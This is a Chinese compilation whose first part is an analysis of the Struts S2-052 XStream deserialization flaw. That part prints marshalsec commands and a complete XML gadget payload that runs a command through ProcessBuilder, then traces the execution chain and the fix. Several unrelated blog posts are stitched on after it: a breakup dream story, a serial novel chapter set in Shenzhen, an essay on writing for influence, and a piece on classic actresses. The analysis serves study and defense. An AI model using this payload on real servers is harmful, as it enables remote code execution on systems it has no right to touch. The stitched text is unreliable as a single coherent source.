S2-052从Payload到执行浅析

近期曝光的S2-052漏洞备受瞩目,之前的struts版本只要开启了rest插件都有可能会受到影响,网上已经公开的POC已经包含了能够进行远程攻击的payload,该payload实际上是marshallsec利用XStream中的ImageIO gadget生成的XML。本文会介绍从payload生成到执行的整个流程。

本次实验分析的jdk版本为1.8。

生成payload

payload的生成过程非常简单:

git clone https://github.com/mbechler/marshalsec.git mvn clean package -DskipTests java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc 

生成的payload如下:

<map>   <entry>     <jdk.nashorn.internal.objects.NativeString>       <flags>0</flags>       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">         <dataHandler>           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">             <is class="javax.crypto.CipherInputStream">               <cipher class="javax.crypto.NullCipher">                 <initialized>false</initialized>                 <opmode>0</opmode>                 <serviceIterator class="javax.imageio.spi.FilterIterator">                   <iter class="javax.imageio.spi.FilterIterator">                     <iter class="java.util.Collections$EmptyIterator"/>                     <next class="java.lang.ProcessBuilder">                       <command>                         <string>calc</string>                       </command>                       <redirectErrorStream>false</redirectErrorStream>                     </next>                   </iter>                   <filter class="javax.imageio.ImageIO$ContainsFilter">                     <method>                       <class>java.lang.ProcessBuilder</class>                       <name>start</name>                       <parameter-types/>                     </method>                     <name>foo</name>                   </filter>                   <next class="string">foo</next>                 </serviceIterator>                 <lock/>               </cipher>               <input class="java.lang.ProcessBuilder$NullInputStream"/>               <ibuffer></ibuffer>               <done>false</done>               <ostart>0</ostart>               <ofinish>0</ofinish>               <closed>false</closed>             </is>             <consumed>false</consumed>           </dataSource>           <transferFlavors/>         </dataHandler>         <dataLen>0</dataLen>       </value>     </jdk.nashorn.internal.objects.NativeString>     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>   </entry>   <entry>     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>   </entry> </map> 

过程分析

1. 寻找xml解释器

当payload发送到存在漏洞的struts服务端时,可以看到会调用到XStreamHandler类的toObject方法将xml转化成对象。

在调用XStreamHandler的toObject方法之前,RestActionInvocation会读取struts-plugin.xml中的解释器并遍历来寻找能够解析输入的Interceptor,直到找到rest库中的ContentTypeInterceptor类(第17次找到rest,对应于下图的16项)。

2. 解析XML

首先给出比较重要的调用过程:

toObject, XStreamHandler   fromXML, XStream     ...       start, TreeUnmarshaller // 真正开始解析XML,识别类并转化成对象         ...           unmarshal, MapConverter // 开始解析顶层的Map对象             populateMap, MapConverter               putCurrentEntryInfoMap, MapConverter // 解析第一对Entry,即<key, value>结构                 key = readItem // 生成jdk.nashorn.internal.objects.NativeString对象                   readClassType  // 读取key的类型,即jdk.nashorn.internal.objects.NativeString                   ConvertAnother // 递归解析对象                     .....                 value = readItem                 put(key, value), HashMap // 将解析的key,value对象添加到HashMap中                   putVal, HashMap                      hash(key), HashMap  // 对key计算hash                        key.hashCode, NativeString                           getStringValue, NativeString                             toString, Base64Data //调用value的toString方法                               get, Base64Data                                 readFrom, ByteArrayOutputStreamEx                                   read, CipherInputStream                                     getMoreData, CipherInputStream                                       update, NullCipher                                         chooseFirstProvider, NullCipher                                           next, FilterIterator                                             advance, FilterIterator                                               filter, FilterIterator                                                 method.invoke // ProcessBuilder.start() 

总结一下就是XStream会完成NativeString对象(map第一个键值对)的正常解析,但是当把键值对添加到HashMap对象中时,会计算key (NativeString) 的hash值,也就是对NativeString的value计算hash,但是value的类型并不是String,而是Base64Data,调用Base64Data的toString方法会引发接下来的一系列调用,最终导致命令执行。

下面针对其中的调用过程进行追踪:

2.1 key对象解析

ContentTypeInterceptor的intercept方法会获取能够解析request内容的handler,并调用handler的toObject方法。

public String intercept(ActionInvocation invocation) throws Exception {         HttpServletRequest request = ServletActionContext.getRequest();         ContentTypeHandler handler = this.selector.getHandlerForRequest(request); // XStreamHandler         Object target = invocation.getAction();         if(target instanceof ModelDriven) {             target = ((ModelDriven)target).getModel();         } ​         if(request.getContentLength() > 0) {             InputStream is = request.getInputStream();             InputStreamReader reader = new InputStreamReader(is);             handler.toObject(reader, target); // XStreamHandler.toObject         } ​         return invocation.invoke();     } 

XStreamHandler则会调用XStream类的fromXML方法,将Reader对象中的内容转换成target对象。

public void toObject(Reader in, Object target) {         XStream xstream = this.createXStream();         xstream.fr
omXML(in, target);     } 

struts官方发布的新版本也正是在这里进行了修改,新版本的相关方法如下:

public void toObject(ActionInvocation invocation, Reader in, Object target) {     XStream xstream = CreateXStream(invocation);     xstream.fromXML(in, target); } ​ protected XStream createXStream(ActionInvocation invocation){   XStream stream = new XStream();   stream.addPermission(NoTypePermission.None);   addPerActionPermission(invocation, stream);   addDefaultPermissions(invocation, stream);   return stream; } 

针对每个action对创建的xstream流对象进行了权限控制,只允许对指定的类进行解析。

从XStream的toObject方法开始,直到TreeUnmarshaller的start方法才开始解析XML结构:

 public Object start(DataHolder dataHolder) {         this.dataHolder = dataHolder;         Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);   // java.util.Map         Object result = this.convertAnother((Object)null, type);         Iterator validations = this.validationList.iterator(); ​         while(validations.hasNext()) {             Runnable runnable = (Runnable)validations.next();             runnable.run();         } ​         return result;     } 

start方法首先读取reader的顶级标签类,此时type对应顶层的标签,也就是 java.uti.Map接口。之后进入到ConvertAnother方法:

 public Object convertAnother(Object parent, Class type, Converter converter) {         type = this.mapper.defaultImplementationOf(type); // java.util.HashMap         if(converter == null) {             converter = this.converterLookup.lookupConverterForType(type);         } else if(!converter.canConvert(type)) {             ConversionException e = new ConversionException("Explicit selected converter cannot handle type");             e.add("item-type", type.getName());             e.add("converter-type", converter.getClass().getName());             throw e;         } ​         return this.convert(parent, type, converter);     } 

convertAnother方法首先会找到该类对应的具体实现类,java.util.Map变成java.util.HashMap类,然后去寻找合适的转换器,对应于HashMap类找到的converter为MapConverter,通过子类父类的方法调用,最后会执行到MapConvert的unmarshal方法

MapConverter的unmarshal方法会调用populateMap对XML结构进行解析,populateMap又会调用putCurrentEntryInfoMap来不断读取每一对标签中的内容,作为一个组合。

 protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) {         reader.moveDown();         Object key = this.readItem(reader, context, map);         reader.moveUp();         reader.moveDown();         Object value = this.readItem(reader, context, map);         reader.moveUp();         target.put(key, value);     }  protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {         Class type = HierarchicalStreams.readClassType(reader, this.mapper());         return context.convertAnother(current, type);     } 

对key和value对象的解析会调用readItem方法,该方法与TreeUnmarshaller的start方法类似,都是读取类型,然后根据该类型转换成对应的对象。最终解析完成之后第一个entry的key会转换成NativeString对象,该对象的value字段为Base64Data对象。key的解析结果如下:

2.2 命令执行

key对象的转换过程只是一个填充对象字段的过程,不涉及命令执行。当对key和value的解析过程完成,接下来调用target.put(key, value),将键值对加入到HashMap中。该方法会对key计算hash,调用key.hashCode方法,即 NativeString的hashCode方法。

public V put(K key, V value) {         return putVal(hash(key), key, value, false, true);     } ​ static final int hash(Object key) {         int h;         return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);     } 

NativeString的hashCode方法首先调用getStringValue获取value的string值,再调用String的hashCode方法。

public int hashCode() {         return this.getStringValue().hashCode();     } ​     private String getStringValue() {         return this.value instanceof String?(String)this.value:this.value.toString();     } 

在getStringValue的调用过程中,由于value是Base64Data类型而不是String类型,因此会调用value的toString方法,即Base64Data的toString方法转换成String对象。

public String toString() {         this.get();         return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen);     }  public byte[] get() {         if(this.data == null) {             try {                 ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);                 InputStream is = this.dataHandler.getDataSource().getInputStream(); // CipherInputStream                 baos.readFrom(is); // in                 is.close();                 this.data = baos.getBuffer();                 this.dataLen = baos.size();             } catch (IOException var3) {                 this.dataLen = 0;             }         } ​         return this.data;     } 

Base64Data的toString方法会调用get方法获取数据,get方法又会从Base64的InputStream流中读取数据,执行到ByteArrayOutputStreamEx的readFrom方法。

public void readFrom(InputStream is) throws IOException {         while(true) {             if(this.count == this.buf.length) {                 byte[] data = new byte[this.buf.length * 2];                 System.arraycopy(this.buf, 0, data, 0, this.buf.length);                 this.buf = data;             } ​             int sz = is.read(this.buf, this.count, this.buf.length - this.count); // read here             if(sz < 0) {                 return;             } ​             this.count += sz;         }     } 

其中的is成员是CipherInputStream对象,执行is.read也就是调用CipherInputStream类的read方法。payload中CipherInputStream对象的ostart为0 (0), ofinish也为0 (0) ,满足if条件,因此会执行get
MoreData方法。

 public int read(byte[] var1, int var2, int var3) throws IOException {         int var4;         if(this.ostart >= this.ofinish) {             for(var4 = 0; var4 == 0; var4 = this.getMoreData()) {                 ;             }         ......  }    private int getMoreData() throws IOException {         if(this.done) {             return -1;         } else {             int var1 = this.input.read(this.ibuffer);             if(var1 == -1) {                 ......             } else {                 try {                     this.obuffer = this.cipher.update(this.ibuffer, 0, var1);                 } catch (IllegalStateException var4) {                     this.obuffer = null;                     throw var4;                 }                 ......             }         }     } 

CipherInputStream的done为False,再看下input的read方法,即NullInputStream类的read方法:

public int read(byte b[]) throws IOException {         return read(b, 0, b.length);     }   public int read(byte b[], int off, int len) throws IOException {         if (b == null) {             throw new NullPointerException();         } else if (off < 0 || len < 0 || len > b.length - off) {             throw new IndexOutOfBoundsException();         } else if (len == 0) {             return 0;         }         ......   } 

参数b是CipherInputStream的ibuffer成员,是一个length为0的byte数组,相当于调用read(byte [0], 0, 0),read返回值为0。继续回到getMoreData,var1为0,执行到cipher的update方法,即NullCipher的update方法,参数分别为byte[0], 0, 0

public final byte[] update(byte[] var1, int var2, int var3) {         this.checkCipherState();         if(var1 != null && var2 >= 0 && var3 <= var1.length - var2 && var3 >= 0) {             this.chooseFirstProvider();             return var3 == 0?null:this.spi.engineUpdate(var1, var2, var3);         } else {             throw new IllegalArgumentException("Bad arguments");         }     }  void chooseFirstProvider() {      if(this.firstService == null && !this.serviceIterator.hasNext()) {           ......           throw;      }      if(this.firstService!=null){          ......      }else{        var3 = (Service)this.serviceIterator.next();        ......      }      ...... } 

update中var!=null && var2>=0 && var3 <= var1.length - var2 && var3>=0的条件是满足的,调用chooseFirstProvider方法。由于firstService为null, 并且serviceIterator的next是”foo”,因此执行到serviceIterator.next方法,serviceIterator对象如下:

public T next() {         if (next == null) {             throw new NoSuchElementException();         }         T o = next;         advance();         return o;     }  private void advance() {         while (iter.hasNext()) {             T elt = iter.next();             if (filter.filter(elt)) {                 next = elt;                 return;             }         }         next = null;     } 

serviceIterator的next不为空,next方法会执行advance方法,由于iter的next成员不为空,调用iter.next方法,返回值为ProcessBuilder对象,调用filter的filter方法,即ContainsFilter的filter方法,参数为ProcessBuilder对象。

public boolean filter(Object elt) {     try {         return contains((String[])method.invoke(elt), name);     } catch (Exception e) {         return false;     } } 

method成员为ProcessBuilder.start方法,elt为ProcessBuilder对象,因此method.invoke(elt)相当于 ProcessBuilder.start() 调用,其中ProcessBuilder为已经构造好要执行的命令的对象,对象内容如下,最终达到命令执行的目的。

*

薛之谦复合了,我成了前任阳光下的小三

文|3的6次方


/01/

凌晨04:19,刷微博的时候,看见老薛发了一张照片,照片里的两个人影十指紧扣,配上了一段话:我记得你跟我时,我一无所有,我不想再寻觅了,请让我给你所有。反正我们也不再年轻了,那就再爱一次吧。

不出所料,当我点开了他前妻高磊鑫的微博,第一条就是那张照片,加了一句“多少浅浅淡淡的转身,是旁人看不懂的情深。那么,余生请对我好一点。”显然,时隔两年,薛之谦和高磊鑫复合了。

是啊,我们已经不再年轻了,只想找个人,牵了手就是一生。记得以前他问我什么时候结婚,我会笑着对他说,只有老女人才着急结婚,我只想好好享受我的人生。每当我一脸自信面对他的追问,却往往忽略了他脸上滑过的一丝失落。

分手两年后,我成长了很多,如今孤身一人,唯一的念想可能就是找个人嫁了吧。就是那么一瞬间,脑海中闪过一个人,那个两年都不曾联系,但却一直住在我心里的那个他。是的,我承认,我真的特别想他。


文|3的6次方

/02/

或许正是老薛复合的消息刺激了我,同样是分手的时候有太多的不舍,也同样是分手了两年,还有就是至今都还挂念着对方(当然这点是我意淫的)。两年了,我可能真的也不想再等了。

是时候主动拾起那份遗失的爱,找回当初错过的那个人。既兴奋,又胆怯的我,微信搜索了他的手机号,还是熟悉的微信名,只不过头像换了。很高兴,两年了,他的微信没变,让我有机会再次找回他。

其实,我们分手的原因很简单。当时的他很爱我,可我的任性和暴躁一次次推开了他。最终,他受不了了,提出了分手。尽管心里很是不舍,倔强的我还是坚持不肯认错。就这样,离开的时候,我删了他的微信,心里期待着他的回心转意,但两年了,迟迟没有等到。

我还清楚地记得那天晚上的我,看着他的微信,久久不敢按下“添加到通讯录”。一方面怕被拒绝,另一方面怕通过之后,不知道该说些什么。心里排练了无数遍,怎么和他开始第一句问候,纠结了一个小时,终于申请了添加他的好友。


文|3的6次方

/03/

第二天清晨,我怀着忐忑不安的心情打开微信,却发现那个每天早上总是醒不来的懒猪,居然在早上8点的时候,通过了我的微信好友申请,并给我发了一个“早”。

尽管只有一个字,却足以让我兴奋了整整一天。对于我而言,这一切真的一点也不早。分手两年了,我终于还是鼓起勇气再次闯进他的生活,这一刻来得太晚了。

从那以后,我们几乎每天都会聊天,当然我找他的频率会更高,他也总会在不忙的时候,给我回上一两句。就算是这样,也足以带给我无限的期待,让我重新燃起对他的幻想。

我开始每天期待与他的聊天,尽管他早已不像以前那样秒回我的信息,可以和我足足聊上好几个小时。是的,他变了,很多时候,一条消息发过去,我需要等待好久。虽然心里不免还是会失落,但依然很庆幸他再次回到了我身边。


文|3的6次方

/04/

线上聊天的时候,我多次问他,我和他现在是什么关系,他只会发一个微笑的表情,没承认亦没否认。得到这样的回应,我的心里其实挺难受的,却还是一次又一次安慰自己,只要他不否认,我们都还有机会。

可是这样的日子终究太难熬了,在内心纠结了好久,终于还是忍不住向他表白了。那天晚上,我特意选在和他说晚安后的一小时,确保他已经睡着的情况下,给他发了“我还是喜欢你,我们重新在一起吧”。

第二天一大早,我满心期待地打开了聊天窗口,得到的却是他给的“游戏结束”。原来我和他发生的种种,只不过是他和女友打的一个赌,他赌我是想和他复合,可他女友不信。

我哭了,哭得声嘶力竭,哭得全身乏力,哭得不省人事。直到室友喊了一句“你们家老薛都复合了,你咋还不起床啊!”我才发现原来这一切都只是一场梦,也幸好只是一场梦。


文|3的6次方

/05/

前任就像裹了一层巧克力的棕褐色物体,难道你一定要重新尝一口,看看它到底是屎还是巧克力?不是每个前任都是薛之谦,也不是每段感情都能破镜重圆的。

换做别的男人,功成名就之后,早就找到年轻貌美的女生,你侬我侬了,谁TM还想着跟你复合。别总活在对前任的假想里,说不定人家早已经大刀阔斧向前进了,只有你还在原地打转。

当初你们分手因为什么,难道你心里真没点B数?一个男人要是真正爱你,一定不会愿意放开你的手,一定会千方百计找到你。要是没有,就别再想着如何复合,就当放彼此一条生路,自己也早日成长起来。

有时候谈感情太累,真不如赚钱来得实在,这点老薛就做到了。薛之谦曾经有在节目中承认,他和高磊鑫感情的结束,是因为自己太穷了,怕给不了高想要的生活。

其实这才是你该明白的道理,千万别在自己穷困潦倒的时候谈感情,趁着年轻,更努力地去实现自己的价值,才是明智之选。没有人爱你的时候,请对自己更好一点。

我的青春在深圳(27)

深圳傍晚景色

文|浪浪于江湖

全目录|【我的青春在深圳

上一章|我的青春在深圳(26)


早婚早育对于90后这一代人来说是一件很没有出息的事情,何况以晴还是未婚先孕。以晴一直想努力活成自己喜欢的样子,可一不小心活成了自己讨厌的样子。明明自己握着一副好牌,现在却被自己打坏了,村里唯一的本科生,最后也走上了未婚先孕的道路。

在思想落后的农村里,以晴的未婚先孕再次给村人觉得,女孩子读那么多书有什么用,最后还不是早早结婚生子,最终还是要嫁到别人家的。以晴是受过高等教育的人,可她还是有些在意别人异样的眼光,毕竟从小在农村受封建思想的熏陶,骨子里始终还是有些传统思想。可是日子终究是要过下去的,总不能因为害怕别人的嘲笑而自寻短见,这可不是梁以晴的作风。

以晴把怀孕的事情告诉了佳灿,“我怀孕了”,以晴本以为会佳灿安慰她,以为佳灿会懂她。

“开这种玩笑,很好笑吗?”

“真的”。

“今天不是愚人节吧。”

“不是”。

“开这种玩笑一点都不好笑”。

“……”

以晴不想和佳灿继续聊下去了,她以为佳灿是这个世界上唯一懂她的朋友,原来是她想太多了。每次她认真对佳灿说话时,佳灿都以为她在开玩笑。

自从怀孕后,以晴就再也没有去飞瑶家玩,也没有发信息给飞瑶。飞瑶总感觉以晴最近遇到了麻烦,她发信息给以晴:“嘿,最近怎么如此安静?”

飞瑶突然发信息给以晴,让以晴特别感动,原来关心你的人真的会时刻把你放在心上,“飞瑶,我好难过。”

飞瑶秒回,“怎么啦?发生什么事情了?”

“我怀孕了,怎么办?我害怕。”

“没事,把孩子生下来,不是还有我吗?以后可以帮你溜娃。”

“可是,我没有钱,刚把之前的2.4万贷款还完了,现在也没存下什么钱。”

“不怕,以后我省吃俭用,给孩子买奶粉,给孩子买玩具,我现在开始就存钱。”

“飞瑶,谢谢你。”

“你不要胡思乱想,早点生孩子也挺好的,这样身体恢复快。”

飞瑶突然的关心,让以晴很感动,都说当你有难的时候,还依然愿意陪在你身边的朋友,那绝对是铁友。

自从知道以晴怀孕后,飞瑶对以晴更加好了,经常和筱夏一起去找以晴玩,什么事情都顺着以晴。飞瑶知道此时的以晴最需要朋友的陪伴,她希望以晴能快快乐乐地度过孕期,做一个快乐的孕妈妈。

以晴对筱夏说:“其实,我有些恨向阳,我是不是不够爱他?”

筱夏说:“如果是我,我也会恨吧,爱一个人难道就要付出一切吗?还没好好享受生活,就要为人妻,为人母,这代价也太大了。不过如果是少瑾让我生孩子,估计我也会愿意,但如果是未婚先孕,我也会有怨言。”

以晴说:“现在我发现,我一点都不懂爱情了,爱情是什么?”

筱夏说:“我也不懂爱情,年轻的时候,总是把爱情看得很重,总要在爱情里犯贱一两回。突然还有些羡慕你,如果我也怀孕了,那么结局是否会不一样,我和少瑾是不是就可以白头到老。可是少瑾从来都不会对我做非分的事情,我们都没有发生过关系。其实,我想把第一次留给他,他是我的初恋,这样至少他不会忘记我,或是偶尔还能想起我,第一次是最难忘的。”

女人总是把第一次当作是神圣纯洁的礼物送给心爱的男人,以为只要给了第一次对方,对方就会记住她一辈子,留恋她一辈子,爱她一辈子。可事情上,女人还是太单纯了,男人才不会因为你的第一次就会爱你一辈子。

经理找以晴商量升职的事情,“你的主管马上就要离职了,我想把你升为编辑部的主管,我认为不管是能力还是为人处事,你都非常适合这个岗位,你这边意向如何?”

听经理这么一说,以晴有些惊喜,继而是伤心,因为她没法胜任了,现在的她根本没法好好工作,有时候上着班,她还是会偷偷掉眼泪。

以晴低着头对经理说:“不好意思,我觉得自己的能力还不足,对于升职我是拒绝的。”

经理以为以晴会很爽快地答应,没想到竟然得到这样的回复,“升职后,你的工资会翻两倍,你要不要考虑考虑?”

以晴冷冷地回了句:“不考虑,谢谢经理的厚爱。”

对于升职以晴期待了很久,现在机会就在眼前,可是她却无法抓住这样的好机会,想着想着以晴的眼泪又偷偷掉下来了。她努力控制自己的泪水,她担心别人发现她哭泣了。

晚上睡觉时,以晴对向阳说起今天的事情,“今天我们经理让我升职了,可是我推掉了,现在的我根本无法全心投入到工作中去。期待了那么久的升职,现在一切都成了泡影,都怪你,我讨厌你。”

“嗯,都怪我,都是我的错,让你当不成主管了。不过以后还多的是机会,我们家以晴那么优秀,以后别说是小小的主管了,连经理你也可以当。”

以晴越想越生气,她别过头去,眼泪又流了下来。向阳知道以晴又在偷偷流眼泪了,他靠过去搂着以晴,以晴把他的手挣脱开,以晴不想理会他,也不想他碰她。

不知道是因为怀孕的原因,以晴觉得自己变得特别敏感,特别小心翼翼,很在意别人对她的看法。

即使佳灿很少回以晴的消息,可以晴还是习惯找佳灿聊天,有时候以晴也觉得自己有些犯贱。

“出来”

“出来”

“出来聊天来,孕妇需要关爱。”

“你现在还上班吗?干脆在家待产好了,上班那么辛苦,挤公交很危险。”

“我还是想上班,不上班哪来的钱呢,我现在最需要钱,我要赚奶粉钱。”

“钱以后还可以赚,眼前最重要的是要养好身体。”

“没事,现在肚子还没大,还是可以上班的。”

“好心疼你,你一定要好好的,知道吗?”

以晴听到这里突然又心酸地流下眼泪,为什么自己突然就变得和别人不一样了,“我不想和别人不一样,不想看别人异样的眼光,可是……”

“抱抱,没事的,我会一直陪着你。”

佳灿始终还是觉得以晴没有出息,她觉得以晴有些犯贱,同居不会避孕吗?都是21世纪的人,避孕套是用来干嘛的。佳灿本来就有些讨厌向阳,现在以晴这样,她更加讨厌向阳了。

以晴突然觉得自己没了方向,以前一直想努力工作,升职,赚钱,写小说,做什么都干劲满满。可现在的她不管做什么都没有了激情,她觉得自己一无是处。以晴害怕自己以后会变成一个遭人嫌弃的妇人,过着永远逛不完的菜市场和穿不完的地摊货的生活。想到这,以晴心里一阵发酸,眼泪又流了下来,以晴觉得自己好没出息,总是动不动就掉眼泪,可是真的很委屈,眼泪真的是自己偷偷跑出来的,她也没有办法。

下一章|我的青春在深圳(28)

说初心都已经太矫情了,但不矫情怎么说服自己继续下去

文/陈紫媚  图/网络

你有没有停下手头上的事、认真想过这个问题:“你到底为什么来到简书写作?”

不是为了讨好而尴尬地追着哪个签约作者说好棒,不是为了感恩而尴尬地感谢简书给你的生活带来了翻天覆地的变化,不是为了唱反调而尴尬地骂别人的文章一文不值。

只是关上门,只有自己时,平静地与自己对话:我到底为什么来到简书写作?

我的答案是:我想变得有影响力!

也许你跟我一样,怀揣着梦想来到这里,却因为一次次的被拒稿而心如死灰,甚至搁笔放弃。

也跟我一样,曾看不上很多被推上首页的文章,却因为自己个位数的阅读量,而开始去研究、去尝试欣赏这些文章。

跟我一样找不准自己的定位,想追热点,也想画个岁月静好的手帐,却发现自己一无所长。

但今晚,当我真的想让自己的初心跃然于纸上,我才又记起了自己最初的目的:我想变得有影响力!

勿忘初心

01 有影响力才能传递更多的爱和友善

你觉不觉得,这个社会变得越来越戾气?随处可以听见有人在骂傻逼,朋友圈转的文章都是咪蒙的贱人和low逼,别人的自拍下面毫不顾忌地批评别人怎么这么闲、每天发自拍……

现在有影响力的作者都很坏,他们为了阅读量而刻意煽动读者的情绪;他们为了让自己的自私合理化,而臆造了很多极端的例子,来获得读者的共鸣;他们为了宣泄自己的不满与愤怒,而写文章,来让自己顺理成章地站着道德的制高点。

咪蒙刚开始火起来的时候,我也是她的关注者之一,纯粹觉得看她的文章挺过瘾的。

直到她的致贱人和致low逼刷爆朋友圈的时候,我意识到,这个女人好可怕。她个人的戾气极重,自私且心胸狭窄,但她却要说服她的读者跟她一起去骂自己身边的朋友。

你想想,谁的身边没有一个两个这种不懂事的人,知道你是学英语的,就肆无忌惮的叫你翻译文章;知道你是去泰国玩了,就叫你代购。

说实话,如果是朋友,又不是毫无原则经常对你提出类似的要求,自己这个时候又方便,那帮个忙就是了。如果不想帮,或者你不方便,那找个合理又不伤感情的理由不去帮也就可以了。何必去骂对方贱人,毕竟相识一场。何况,就算是对陌生人,也不能这么没有教养去骂别人贱人吧,毕竟对方真的没有伤害你什么啊。

咪蒙的文章就是挑起了你人性里最野蛮的一面,她的行为也是最不可取的。

自己不好意思拒绝别人,就闷着不说,硬着头皮帮别人,事后在朋友圈转咪蒙的致贱人。说实话,这种行为仿佛在告诉你的整个朋友圈,你们都是贱人,以后别来找我帮忙啊!

但是难道你没有想过你也会有需要别人帮忙的时候吗?

在这个社会,人人都可能是弱者,谁都免不了需要别人伸出援手,所以才需要我们平时乐善好施,以换来我们困难的时候,别人对我们的援助。

可是你都已经在朋友圈骂别人是贱人了,等你真的有困难的时候,你还好意思恬不知耻,说朋友帮个忙么?

我曾经在朋友圈说我不赞成咪蒙的很多观点,就被别人说我是喷子。那时我才意识到:

在你牛逼之前的所有表述,都有可能被说成是傻逼。

那也是我第一次那么想那么想变得有影响力。那也是我第一次来到简书。

因为太多有能力的作者,他们心不善良,所以他们影响着这个社会,让这个社会也越来越不善良;而很多善良的普通人,他们没有能力为自己发声,根本没人听得见他们对这个社会的呼吁。

所以我来到了简书,我想变得有影响力。

善良比聪明更重要

02 有影响力才能启发更多人去思考

每每出现热点事件的时候,很多人其实是没有什么主见的。别人说是丈夫和婆婆逼死产妇的,他们就说丈夫和婆婆罪该万死;别人说能拯救那位产妇的只有她自己,他们就说那个产妇心理素质差、愚蠢;别人说其实产妇根本不是下跪祈求顺产,只是疼得跪下,他们就说其实罪魁祸首是医院……

太多太多这样的吃瓜群众。

很多作者追热点,但是他们并不启发读者去思考这个热点背后的真相,他们只为了博眼球,骗阅读量。

如果他们能给这件事带来一点正面积极的影响还好,但现实是,他们从来都是搅乱事情的始作俑者。

比如今天有一个作者,她写这个产妇,一口一个愚蠢,一口一个傻逼,一口一个心理素质差,说产妇死了只怪她自己。

一个这样绝情绝义、丝毫没有理智,通篇都在骂人的作者,居然被很多人说她这是理性分析。这分明是为了显示自己与众不同的观点而刻意与善良的人性唱反调。

这个作者通篇没有考虑过“人”的感受,她恐怕忘记了,她自己也有悲伤欲绝、痛不欲生的时候,她恐怕也有跟男朋友或者老公吵架到绝望的时候。通篇只是骂死者愚昧,自己不救自己,谁来救她……

读罢,心寒。

也就是在今天,我突然又想起了自己的初心,变得有影响力。

不要再让这些冷酷无情、且不启发别人思考、只知道把自己内心的愤怒涂满整个网络的作者占据我们太多的视线。变得有影响力,才能削弱他们的势力。

不要成为情绪的奴隶

03 与更多的人一起成长一起进步

不管是知乎还是简书,总是有一些大V会发起各种各样的活动,这些活动或关于阅读,或关于写作,或关于手绘,或关于健身……总之都是为了提升自己。

大V们的活动总是能得到很多人的推崇,也有很多人的参与。

这其实是一件好事,至少越来越多的人,都在努力成为一个更好的自己。

但是不可否认,虽然有很多人在跟着他们做,但依然迷茫,依然觉得所做的一切都是然而并,依然不知道努力的意义。

因为,大V们发起的活动,只适合ta自己以及一小部分跟ta相似的人啊,大部分人都不适合照搬他们的套路。

因为,他们一开始就和大部分的普通人不一样,所以做了同样的事情,他们到了一个新的高度,而我们还停留在原地。

又或者是因为,他们还有很多隐性知识没有告诉你,只把显性知识翻来覆去嚼碎给你。他们只告诉你做这件事,却没有告诉你其实ta还做了那件事。

我也很茫然,所以我也懂茫然到底是一种什么体验。我想要摆脱茫然,也想有一天能
带着大家一起摆脱它。

我知道现在的自己在什么位置,我也有种蜜汁自信相信有一天我一定会变得牛逼。所以在通往牛逼的路上,我想把自己的这个过程都记录下来,所以我来到了简书。

直到有一天,如果我也变得有影响力,那我在简书的所有成长轨迹拿走不谢。

直到有一天,如果我也变得有影响力,我就知道怎么变得有影响力,我也就知道为什么有些人还不那么有影响力,我也就知道怎么带着大家一起去克服这些障碍。

直到有一天,如果我也变得有影响力,除了号召更多人提升自我,更会提醒大家不要忘了善良。

所以,我来到了简书。

晨读感悟:时代的气质美人

好莱坞黄金时代的女星们,各个都富有迷人而又独特的气质。她们的气质浑然天成,散发着无与伦比的美丽。

01

落入人间的天使

赫本有一双小鹿般灵动的眼睛。也许很多人不知道,她在二战期间曾经为盟军收集情报,后来因为食物短缺,营养不良,才变得如此消瘦。

赫本的美在于她的天真、善良。在《罗马假日》和《窈窕淑女》里,看到她你会不自觉的嘴角上扬。,她伟大的人格魅力,让人觉得这个世界充满了温暖和温柔的气息。

无数的女性争相模仿赫本,以和她长相相似为荣。她不仅仅是演员,她是真正的明星。她从不追逐潮流,而是引领潮流。

记得在拍摄《Tiffany的早餐》的时候,她还不够大牌到让Givenchy)纪梵希提供服装,只能自己去仓库挑选。她挑出了这条小黑裙成为经典中的经典。她崇尚自然、简约、舒适,有自己的时尚风格,从不会去刻意模仿。

她没有丑闻,从她脸上能看到的永远是淡淡的微笑。

她热爱生活热爱家人朋友,身边的动物,以及所有的孩子,为改善他们的生活而奔波。

她成为了联合国儿童基金会亲善大使之后,在1992年为索马里的难民儿童问题发表演说,得到了全世界的关注。即使容颜已经老去,她身上的优雅却未曾减少一分。

赫本过于完美,以至于不真实,在人们的心中,她的气质超越了凡人,变成了天使。她说:当你长大后,你会发现,你有两只手,一只手帮助自己,一只手帮助别人。

02

误入凡间的精灵

如果说赫本是无可挑剔的美,所有人眼中毫无瑕疵的美人,那么费雯丽的美仿佛更有攻击性。她自己评价自己是一只蝎子。独特,美丽。又很伤人。

费雯丽的美是一种古典美。她有一双动人的绿色眼睛,一瞬间让你陷入她的深情、她的柔情之中。她的笑脸,更是充满阳光,饱满的苹果肌,满满的胶原蛋白,充满了少女的天真无邪。

费雯丽说最讨厌的词是漂亮,因为漂亮会让大家泯灭了她的演技。如果说赫本更多的是本色演出,而费雯丽是当之无愧的演技女王。

费雯丽有着40年代对美追求的完美体现—精致的五官、纤细凹凸有致的身材、灵动俏皮的举止和温柔细腻的性格。费雯丽所扮演的角色因此大多顽强倔强却与悲剧命运相伴,心思细腻渴求爱情和自由的小妇人居多。她敢爱敢恨,果敢卓绝,勇于追求自己热爱的演艺事业。

三部作品入围奥斯卡,两次获得最佳女演员奖。要不是她当年以舞台剧为主业,拍电影只是副业,我们能看到她更多的精彩表演。想当年我第一次看《魂断蓝桥》的时候,我就被她深深吸引。

在《魂断蓝桥》中,玛拉即使是穿着窗帘布做成的裙子去赴会,也毫不逊色。一场战争让两人分离,再次相见早已物是人非。在蓝桥上再次相遇的时刻,玛拉是经历了何等的纠结和悲伤,心碎的从蓝桥坠下。费雯丽的每一个眼神都能把人物的心情无比准确的表达出来。

